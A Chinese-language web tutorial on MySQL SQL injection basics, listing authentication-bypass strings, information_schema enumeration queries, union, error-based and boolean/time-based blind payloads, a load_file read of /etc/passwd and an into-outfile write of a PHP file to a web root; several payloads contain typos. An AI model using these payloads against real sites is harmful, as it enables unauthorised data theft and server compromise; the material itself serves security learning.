iis服务器助手广告广告
返回顶部
首页 > 资讯 > 数据库 >sql注入基础知识的介绍
  • 228
分享到

sql注入基础知识的介绍

2024-04-02 19:04:59 228人浏览 独家记忆
摘要

本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!什么是SQL注入(S

本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到WEB表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

mysql常用注释

    #

    --[空格]或者是--+

   

在注意过程中,这些注释可能都需要进行urlencode。

mysql认证绕过

      ;%00

     ‘ or 1=1 #

     ‘ 1=1 --+

mysql连接符

Mysql中使用+来进行连接。

select * from users where username='zhangsan' and "ab"="a"+"b";

mysql中常见函数

在进行sql注入过程中,会使用到mysql中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。

信息函数是用来获取mysql中的数据库的信息,功能函数就是传统的函数用来完成某项操作。

常用的信息函数有:

    database() ,用于获取当前所使用的数据库信息

    version():返回数据库的版本,等价于@@version

     user():返回当前的用户,等价如current_user参数。如:

select user(); #root@localhost
select current_user; #root@localhost

@@datadir,获取数据库的存储位置。

select @@datadir; #D:\xampp\mysql\data\

常见的功能函数有:

load_file():从计算机中载入文件,读取文件中的数据。

select * from users uNIOn select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16进制绕过单引号限制

into outfile:写入文件,前提是具有写入权限

select '<?PHP phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';

concat():返回结果为连接参数产生的字符串。如果其中一个参数为null,则返回值为null。

用法如下:

select concat(username,passWord)from users;

*concat_ws() :是concat_ws()的特殊形式,第一个参数是分隔符,剩下的参数就是字段名。

select concat_ws(',',username,password) from users;

group_concat() :用于合并多条记录中的结果。

用法如下:

select group_concat(username) from users;
#返回的就是users表中所有的用户名,并且是作为一条记录返回。

subtring() ,substr():用于截断字符串。用法为:substr(str,pos,length) ,注意pos是从1开始的。

select substr((select database()),1,1);

ascii():用法返回字符所对应的ascii值。

select ascii('a'); #97

length():返回字符串的长度。

如:

select length("123456") #返回6

is(exp1,exp2,exp2):如果exp1的表达式是True,则返回exp2;否则返回exp3。

如:

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1

以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。

    now():返回当前的系统时间

    hex():返回字符串的16进制

    unhex():反向的hex()的16进制

    @@basedir():反向mysql的安装目录

    @@versin_compile_os:操作系统

mysql数据库元信息

在mysql中存在infORMation_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称

和访问权限。在informa_schema中常用的表有:

     schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。

     tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。

     show tables from secuiry的结果就是来自这个表

     columns:详细地描述了某张表的所有的列以及每个列的信息。

     show columns from users的结果就是来自这个表

下面就是利用以上的3个表来获取数据库的信息。

select database(); #查选数据库
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列

sql注入类型

sql注入类型大致可以分为常规的sql注入和sql盲注。sql盲注又可以分为基于时间的盲注和基于网页内容的盲注。
关于sql的盲注,网上也有很多的说明,这里也不做过多的解释。关于盲注的概念,有具体的例子就方便进行说明。
延时注入中,常用的函数就包括了if()sleep()函数。

基本的sql表达式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

宽字节注入

关于宽字节注入,可以参考宽字节注入详解。宽字节输入一般是由于网页编码与数据库的编码不匹配造成的。对于宽字节注入,使用%d5或%df绕过

mysql常用语句总结

常规注入

1' order by num #  确定字段长度
1' union select 1,2,3 # 确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1  在注释符无法使用的情况下

双重SQL查选

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #这种sql语句的写法,常用于sql的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到数据库的表的信息

 
#利用姿势如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

这种利用姿势是通过mysql执行sql命令时的报错信息来得到所需要的信息的,在接下来的文章中会对这种写法进行详细地分析。

bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

bool盲注就是根据sql语句执行返回值是True或False对应的页面内容会发生,来得到信息。

time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

上述的2种写法都是等价的,time盲注余常规的sql注入方法不同。time盲注需要一般需要使用到if()sleep()函数。然后根据页面返回内容的长度,进而知道sleep()函数是否有执行。

根据sleep()函数是否执行来得到所需的信息。

“sql注入基础知识的介绍”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注编程网网站,小编将为大家输出更多高质量的实用文章!

您可能感兴趣的文档:

--结束END--

本文标题: sql注入基础知识的介绍

本文链接: https://www.lsjlt.com/news/55473.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • sql中外码怎么设置
    sql 中外码设置步骤:确定父表和子表。在子表中创建外码列,引用父表主键。使用 foreign key 约束将外码列链接到父表主键。指定引用动作,以处理父表数据更改时的子表数据操作。 ...
    99+
    2024-05-15
  • sql中having是什么
    having 子句用于过滤分组结果,应用于分组后的数据集。它与 where 子句类似,但基于分组结果而不是原始数据。用法:1. 过滤分组后的聚合值。2. 根据分组后的...
    99+
    2024-05-15
  • 在sql中空值用什么表示
    在 sql 中,空值表示未知或不存在的值,可使用 null、空字符串或特殊值表示。处理空值的方法包括使用操作符(is null/is not null)、coalesce 函数(返回第一...
    99+
    2024-05-15
    oracle
  • sql中number什么意思
    sql 中的 number 类型用于存储数值数据,包括小数和整数,特别适合货币、度量和科学数据。其精度由 scale(小数点位数)和 precision(整数字段和小数字段总位数)决定。...
    99+
    2024-05-15
  • sql中空值赋值为0怎么写
    可以通过使用 coalesce() 函数将 sql 中的空值替换为指定值(如 0)。coalesce() 的语法为 coalesce(expression, replacement),其...
    99+
    2024-05-15
  • sql中revoke语句的功能
    revoke 语句用于撤销指定用户或角色的权限或角色成员资格。可撤销的权限包括 select、insert、update、delete 等,撤销的对象类型包括表、视图、存储过程...
    99+
    2024-05-15
    敏感数据
  • sql中REVOKE是什么意思
    revoke 是 sql 中用于撤销用户或角色对数据库对象权限的命令。它通过撤销权限类型、对象级别和目标权限来实现:权限类型:撤销 select、insert、update、d...
    99+
    2024-05-15
  • sql中sp是什么意思
    sql中的sp是存储过程的缩写,它是一种预编译的、已命名的sql语句块,存储在数据库中,可以被用户通过简单命令调用。存储过程的特点有:可重用性、模块化、性能优化、安全性、事务支持。存储过...
    99+
    2024-05-15
    敏感数据
  • sql中references是什么意思
    sql 中的 references 关键字用于在外键约束中定义表之间的父-子关系。外键约束确保子表中的行都引用父表中存在的行,从而维护数据完整性。references 语法的格式为:fo...
    99+
    2024-05-15
  • sql中判断字段为空怎么写
    sql 中可通过 4 种方法判断字段是否为空:1)is null 运算符;2)is not null 运算符;3)coalesce() 函数;4)case 语句。例如,查询所有 colu...
    99+
    2024-05-15
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作